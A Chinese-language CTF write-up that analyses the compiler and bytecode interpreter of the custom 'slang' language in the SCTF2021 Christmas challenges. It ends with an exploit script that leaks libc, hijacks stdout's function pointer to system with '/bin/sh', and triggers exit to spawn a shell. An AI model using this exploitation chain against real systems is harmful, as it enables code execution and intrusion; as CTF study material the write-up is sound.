SCTF2021 Christomas

SCTF2021 Christomas

这俩题用的是作者自写的slang语言,还是挺有意思的,所以后来复现了一下

题目分析

服务端就是接收用户输入的slang代码,然后编译运行,所以关键得看懂slang语言

大概知道架构之后,就知道两个重要的语法文件

image-20220107222324990

parser.y和scanner.l,一个是词法分析的规则,一个是语法分析的规则

具体的格式可以看这两篇文章

第08章 用 flex 做词法分析 — 自己动手写编译器 (pandolia.net)

第13章 用 bison 做语法分析 — 自己动手写编译器 (pandolia.net)

scanner.l中两个百分号之间是格式定义,每行都是pattern + action的模式 image-20220107222505188

parse里面的格式,可以看出程序大致由三种语句组成,call_expr,want_stmt,var_expr

image-20220107223141917

call语句

image-20220107223238058

BACK是brings back gift,WORD就是正常的单词,NEWLINE就是;REINDEER是reindeer(驯鹿),DELIVERING 是delivering gift

所以语句应该是 Reindeer (funcname) delivering gift (arg1) (arg2) (arg3) ,这里是猜测成这种函数调用形式

后面应该可以跟brings back gift (return_value)得到返回值

want语句

image-20220107223349887

Want是this family wants gift,Endwant是ok, they should already have a gift;

list的组成

IF是if the gift,OPERATOR是 is,equal to,greater than,还有+-*/,NEXT是:

AGAIN是Brave reindeer! Fear no difficulties!

所以格式应该如下

This family wants gift (WORD)

IF THE GIFT (OPERATOR) : stmts

Ok,they should already have a gift

这里want语句应该是看起来最费劲的,实际上其就是对应的循环和判断语句,毕竟是语言基本结构么

具体含义搞不明白,就得去看编译时的代码以及运行时的代码,两块都得考虑,才能搞明白具体含义

var expr

image-20220107224325089

这里就是定义一个礼物,可以看成定义一个变量

编译器具体分析

整个语言编译出来的核心组成就是这个结构体

image-20220107224652106

code是字节码数组,number数字常量池,string是字符串池,word是标识符池,slang解释器加载程序时会把程序拆分到这四个向量中

image-20220107224453629

具体的编译在这里,这里map是一个宏,解开后就是switch case,对不同的语句调用不同的编译函数

因为主要的疑惑在want语句,所以先看want语句,而want的核心是list

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#define arg ast_t *ast, lambda_t *lambda, ast_t* word, int start

void compile_list(arg){
ast_t * operator = ast_get_child(ast, 0);
ast_t * expr = ast_get_child(ast, 1);
ast_t * stmts = ast_get_child(ast, 2);

compile_word_push(word, lambda);
switch(expr->type){
map(EXPR, expr);
map(WORD, word_push);
map(NUMBER, number);
}

emit_insn_operator(lambda, operator);

int redirection = lambda_get_code_count(lambda);
emit_insn_jz(lambda, redirection, 0xffff);

compile_stmts(stmts, lambda);

unsigned int offset = lambda_get_code_count(lambda) - redirection - 4;

if (ast_get_child_count(ast) == 4){
if(ast_get_child(ast, 3)->type == AST_AGAIN){
emit_insn_jmp(lambda, start);
emit_insn_jz(lambda, redirection, offset + 4);
}
} else {
emit_insn_jz(lambda, redirection, offset);
}
}

先分析下这个函数里面用到的几个子函数,compiler_word_push内部会调用到lambda_emit_insn,最终会case到emit_insn_load_word,其内部是通过insn向字节码数组中插入操作数,所以这里push完,code数组中的组成为OP_PUSH_WORD WORD_INDEX

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
void compile_word_push(arg){
emit_insn(OP_LOAD_WORD, ast);
}

#define emit_insn(opcode, ast) lambda_emit_insn(lambda, (opcode), (ast));

void lambda_emit_insn(pthis, int opcode, ast_t *ast){
switch (opcode){
map(STORE, store);
map(LOAD_NUMBER, load_number);
map(LOAD_WORD, load_word);
map(LOAD_STRING, load_string);
}

}

void emit_insn_load_word(pthis, ast_t *ast){
insn(OP_LOAD_WORD);
insn(lambda_set_word(this, ast->string_value));
}

#define insn(opcode) lambda_insn(this, (opcode));

//向code向量里push了一个opcode
void lambda_insn(pthis, char opcode){
vector_push_back(&(this->code), opcode);
}

//往word池里push一个word,word池里面如果已经有这个word了,就直接跳过,最后返回的是word的下标
int lambda_set_word(pthis, char * word){

int i = 0;
char *item;
vector_each(this->word, i, item){
if (!strcmp(item, word))
return i;
}

vector_push_back(&(this->word), word);
return this->word.count-1;
}

emit_insn_operator是对操作符的push,就是压入一个操作符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#define map(operator, OPCODE)                                                 \
case operator:\
insn(OPCODE); \
break
void emit_insn_operator(pthis, ast_t *ast){
switch(ast->char_value){
map('+', OP_ADD);
map('-', OP_SUB);
map('*', OP_MUL);
map('/', OP_DIV);
map('>', OP_GRAETER);
map('?', OP_EQUAL);
}
}

这里编译jz的函数比较细,在编译stmt时是用来配合组成循环语句的,编译stmt时调用传入的是0xffff,因为还不知道循环结束的位置,因此先插入0xFFFF占位,redirection 是获得当前code的ip,此时走的是if的分支

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
//先插入一条if语句,此时还不知道循环结束的位置
int redirection = lambda_get_code_count(lambda);
emit_insn_jz(lambda, redirection, 0xffff);

void emit_insn_jz(pthis, int redirection, long offset){
if (redirection == this->code.count){
insn(OP_JZ);
insn(J_FORWORD);
insn((offset >> 8) & 0xff);
insn(offset & 0xff);
} else {
//修正offset
redirection ++;
if (offset < 0){
offset = -offset;
lambda_set_code(this, redirection++, J_BACK);
} else {
redirection ++;
}
lambda_set_code(this, redirection++, (offset >> 8) & 0xff);
lambda_set_code(this, redirection++, offset & 0xff);
}
}

再编译完循环体之后

1
2
3
4
5
6
7
8
9
10
11
12
//此时已编译完循环体,获得结尾到循环开始处的偏移    
unsigned int offset = lambda_get_code_count(lambda) - redirection - 4;
//child_count为4就说明有Again语句,此时就为循环语句,否则就是单次循环,其实就是条件分支语句
if (ast_get_child_count(ast) == 4){
if(ast_get_child(ast, 3)->type == AST_AGAIN){
emit_insn_jmp(lambda, start);
emit_insn_jz(lambda, redirection, offset + 4);
}
} else {
//注意这里传入的仍然是redirection,会导致emit_insn_jz走的else分支,修正前面的插入0xffff占位的offset
emit_insn_jz(lambda, redirection, offset);
}

分析完之后,就可以得出结论,want语句就是关键的循环和分支语句

解释器具体分析

解释器代码基本都在vm/vm_call.c和runtime.c中

解释器入口,sleep是暴漏给Christmas Bash的,第一题用不到,这里就是按字节码去case执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
void vm_call_lambda(lambda_t *l){
runtime_t *r = runtime_init();

// gift to Christmas Bash!
// Don't play too late for the party! Remember to sleep!

gift_t * gift = gift_init("sleep", sleep);
runtime_set_gift(r, gift);

while(r->is_run){
switch(get_code){
display(STORE, store);
display(LOAD_NUMBER, load_number);
display(LOAD_STRING, load_string);
display(LOAD_WORD, load_word);

display(CALL, call);
display(JZ, jz);
display(JMP, jmp);

operator(ADD);
operator(SUB);
operator(DIV);
operator(MUL);
operator(GRAETER);
operator(EQUAL);
}
check_next(r, l);
}
}

看下jz,这里会从栈上pop出上条指令的计算结果,如果为0就跳转

1
2
3
4
5
6
7
8
9
10
#define pop             stack_pop(r->stack)

void vm_opcode_jz(arg){
u_int64_t is_not_jmp = pop;
if (is_not_jmp){
r->rip += 3;
} else {
vm_opcode_jmp(r, l);
}
}

运算操作,就是从栈上取出操作数,然后根据操作符运算,再将结果压入栈中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
void vm_opcode_operator(arg, int opcode){
u_int64_t a = pop;
u_int64_t b = pop;
switch (opcode){
case OP_ADD:
push(b+a);
break;
case OP_SUB:
push(b-a);
break;
case OP_MUL:
push(b*a);
break;
case OP_DIV:
push(b/a);
break;
case OP_GRAETER:
push(b>a);
break;
case OP_EQUAL:
push(b==a);
break;
}
}

这些都比较常规,比较重要的是call函数,这里提供了几个特殊的函数,orw都已经给了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#define is_func(func_name) \
!strcmp(func, (func_name))
void vm_opcode_call(arg){
char *func = get_word;
u_int64_t arg3 = pop;
u_int64_t arg2 = pop;
u_int64_t arg1 = pop;
u_int64_t ret;

if (is_func("Rudolph")){
ret = write(arg1, arg2, arg3);
// No talking while singing Christmas Songs
//printf("error: \n%s\n", rudolph);
}
if (is_func("Dasher")){
ret = read(arg1, arg2, arg3);
}
if (is_func("Dancer")){
ret = open(arg1, arg2, arg3);
if((int)ret < 0){
printf("error con't open file %s\n", arg1);
exit(EXIT_FAILURE);
}
}
if (is_func("Prancer")){
ret = strncmp(arg1, arg2, arg3);
}
if (is_func("Vixen")){
ret = memcpy(arg1, arg2, arg3);
}
push(ret);
}
#undef is_func

exp

Christmas Songs

参考的SU的exp如下

image-20220118130424247

给了ORW以及字符串比较,我们这里可以直接用字符串比较,逐字节爆破,这里忘了原题是怎么给的了,但是exp里利用了下Rudolph函数,因为Rudolph会打印一个error,可以用这里的error信息结合分支语句判断flag是否正确,

1
2
3
4
5
6
7
8
9
10
11
12
void vm_opcode_call(arg){
char *func = get_word;
u_int64_t arg3 = pop;
u_int64_t arg2 = pop;
u_int64_t arg1 = pop;
u_int64_t ret;

if (is_func("Rudolph")){
ret = write(arg1, arg2, arg3);
// No talking while singing Christmas Songs
//printf("error: \n%s\n", rudolph);
}

利用脚本

image-20220118131007920

Christmas Bash

这题提供了一个sleep的函数地址,可以借这个地址得到libc的基地址

1
2
3
4
5
6
7
8
void vm_call_lambda(lambda_t *l){
runtime_t *r = runtime_init();

// gift to Christmas Bash!
// Don't play too late for the party! Remember to sleep!

gift_t * gift = gift_init("sleep", sleep);
runtime_set_gift(r, gift);

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
gift libcbase is sleep - 935488;
gift target is libcbase + 4096728;
gift system is libcbase + 324944;
gift Stdout is libcbase + 4114272;
gift heap is libcbase + 4109000;
gift Binsh is ";/bin/sh";
gift Size is 8;
gift tmp is 30;
gift var is "12345678";
gift filename is "wood";
gift offset is 1720;
gift var is var + offset;
reindeer Vixen delivering gift target var Size;
reindeer Vixen delivering gift Stdout Binsh tmp;
reindeer Dancer delivering gift filename Size Size;

这里第一部应该是获取sleep的偏移,泄露出偏移后,对比应该是2.34的libc

1
2
3
4
//打印sleep的偏移
gift size is 8;
gift stdoutfd is 1;
reindeer Rudolph delivering gift stdoutfd sleep size;

exp用的方法是直接将_IO_2_1_stdout_的vtable中的_IO_file_jumps改为system

image-20220118212532241

这个是全局变量,我们是可以修改的 ,其实在2.29以前,虚表是不能更改的,因此才有了一些绕过的方法,但是在2.29以后虚表又能改了

这里exp的利用其实很有技巧,首先因为C++堆环境比较复杂,这里利用到了残留数据的技巧,首先定义一个system的gift,让其等于system的地址,此时在堆中就已经这个值了,接下来我们就可以通过堆上的偏移来找到system地址所处的堆地址,

1
gift system is libcbase + 324944;

下面就是这样操作的,这里var = 12345678也是声明在对上的数据,因此通过var与system间的偏移,我们就能索引到system的地址,注意这里要得到的是地址,为什么不直接用gift system,如果直接用gift system,等会memcpy就是copy的system函数的开头的几个汇编指令了,所以要得到的是gift system的堆上的地址,memcpy拷贝过去的才是system的地址,这里是有一层地址上的引用关系的

1
2
gift var is "12345678";
gift var is var + offset;

接下来就是将system拷贝过去

1
reindeer Vixen delivering gift target var Size;

/bin/sh拷贝过去就没那么多绕绕了,直接拷贝

1
reindeer Vixen delivering gift Stdout Binsh tmp;

最后随便打开一个不存在的文件触发exit流程

1
2
3
4
5
6
7
8
9
10
11
12
*/
if (is_func("Dancer")){
ret = open(arg1, arg2, arg3);
if((int)ret < 0){
printf("error con't open file %s\n", arg1);
exit(EXIT_FAILURE);
}
}
*/

gift filename is "wood";
reindeer Dancer delivering gift filename Size Size;

小Trick,快速在内存中搜索值,两种方式都行

image-20220118214028952

Refs

2021 SCTF SU Writeup | TEAM-SU